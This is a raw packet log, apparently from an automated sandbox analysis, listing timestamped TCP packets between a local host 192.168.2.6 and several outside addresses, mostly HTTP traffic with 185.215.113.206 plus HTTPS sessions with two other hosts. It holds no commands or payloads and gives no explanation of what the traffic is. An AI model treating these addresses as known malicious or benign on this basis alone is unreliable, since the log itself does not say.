Oct 29, 2024 17:59:49.736150980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.736174107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736188889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736223936 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.736423969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736438990 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736454964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736474991 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.736479998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736490965 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.736496925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736534119 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.736777067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736792088 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736807108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.736818075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.736840963 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.784872055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.784959078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.784971952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.784996033 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.785012960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.785029888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.785043001 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.785044909 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.785060883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.785078049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.785093069 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.785094023 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.785109043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.785121918 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.785126925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.785135984 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.785145044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.785166979 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.785195112 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.806900024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.806937933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.806972980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.806998968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.807044029 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.851603985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.851639032 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.851661921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.851699114 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.851701021 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.851717949 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.851733923 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.851757050 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.851779938 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.851840973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.851948023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.851960897 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.851977110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.851993084 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852003098 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852015972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852018118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852037907 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852042913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852065086 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852085114 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852257013 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852348089 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852375984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852389097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852412939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852431059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852437973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852452993 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852457047 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852469921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852480888 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852487087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852499962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852514982 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852524996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852808952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852864027 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.852936983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852952957 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852971077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852977037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852983952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.852998018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853002071 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.853014946 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853032112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853039980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.853046894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853055000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.853084087 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.853552103 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853566885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853585005 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853599072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853601933 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.853615046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853622913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.853632927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853651047 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853652000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.853663921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853683949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.853713989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.853943110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853967905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853986979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.853998899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.854024887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902211905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902380943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902385950 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902405024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902421951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902430058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902437925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902445078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902456999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902463913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902473927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902477980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902492046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902498960 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902508974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902514935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902527094 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902533054 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902544975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902551889 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902560949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902580023 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.902666092 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902679920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.902721882 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.923856020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.923870087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.923883915 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.923898935 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.923924923 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.923979998 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969002962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969019890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969037056 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969053984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969064951 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969069958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969118118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969130039 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969228029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969243050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969259024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969275951 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969305038 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969314098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969329119 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969346046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969368935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969369888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969382048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969387054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969403028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969412088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969420910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969427109 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969455957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969455957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969660044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969728947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969743967 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969779968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969805002 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969832897 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969849110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969863892 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:49.969894886 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:49.969933033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.032795906 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.038254023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.071465969 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.073535919 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.073556900 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.074588060 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.074661970 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.075145006 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.075371027 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.075375080 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.075515985 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.117290974 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.117321968 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.153251886 CET	443	50041	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.153748989 CET	50041	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.153768063 CET	443	50041	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.154196024 CET	50041	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.154228926 CET	443	50041	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.154968977 CET	443	50042	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.155276060 CET	50042	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.155297995 CET	443	50042	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.155657053 CET	50042	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.155662060 CET	443	50042	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.164176941 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.170191050 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.171258926 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.171267986 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.172094107 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.172099113 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.178385973 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.179519892 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.179548979 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.180440903 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.180450916 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.191230059 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.191632032 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.191652060 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.192203999 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.192209959 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.207501888 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.207526922 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.207581997 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.207597971 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.207617998 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.207712889 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.208739996 CET	50046	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.208756924 CET	443	50046	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.214963913 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.214998007 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.215075970 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.215293884 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.215307951 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.288985014 CET	443	50042	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.289304018 CET	443	50041	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.289381981 CET	443	50041	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.289639950 CET	50041	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.289706945 CET	50041	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.289706945 CET	50041	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.289721966 CET	443	50041	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.289731026 CET	443	50041	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.291769028 CET	443	50042	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.291852951 CET	50042	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.292012930 CET	50042	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.292035103 CET	443	50042	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.292047977 CET	50042	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.292053938 CET	443	50042	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.292597055 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.292629004 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.292818069 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.292998075 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.293005943 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.294198036 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.294222116 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.294307947 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.294444084 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.294455051 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.318633080 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.319067955 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319097042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319112062 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319124937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319148064 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.319156885 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319174051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319219112 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.319267035 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.319267988 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319278002 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.319300890 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.319307089 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.319375992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319392920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319407940 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319422960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319439888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319446087 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319457054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319473028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319477081 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319489002 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319492102 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319504976 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319510937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319525003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319530010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319545031 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319551945 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319561958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319571018 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319580078 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319581032 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319597006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.319598913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319618940 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.319633961 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.320028067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320075989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320097923 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320136070 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.320143938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320161104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320173025 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.320182085 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.320199966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.320281029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320326090 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.320339918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320355892 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320379972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320395947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320411921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.320419073 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.320437908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.320532084 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.322387934 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.322412014 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.322549105 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.322669983 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.322681904 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.325191975 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.325222969 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.325262070 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.325293064 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.325328112 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.325510025 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.325510025 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.325520039 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.325529099 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.327547073 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.327563047 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.327651024 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.327739000 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.327754974 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.327769041 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.327769041 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.327821016 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.327841997 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.327944040 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.327980995 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.327994108 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.328016996 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:50.328022957 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:50.329916000 CET	50052	443	192.168.2.6	13.107.246.45
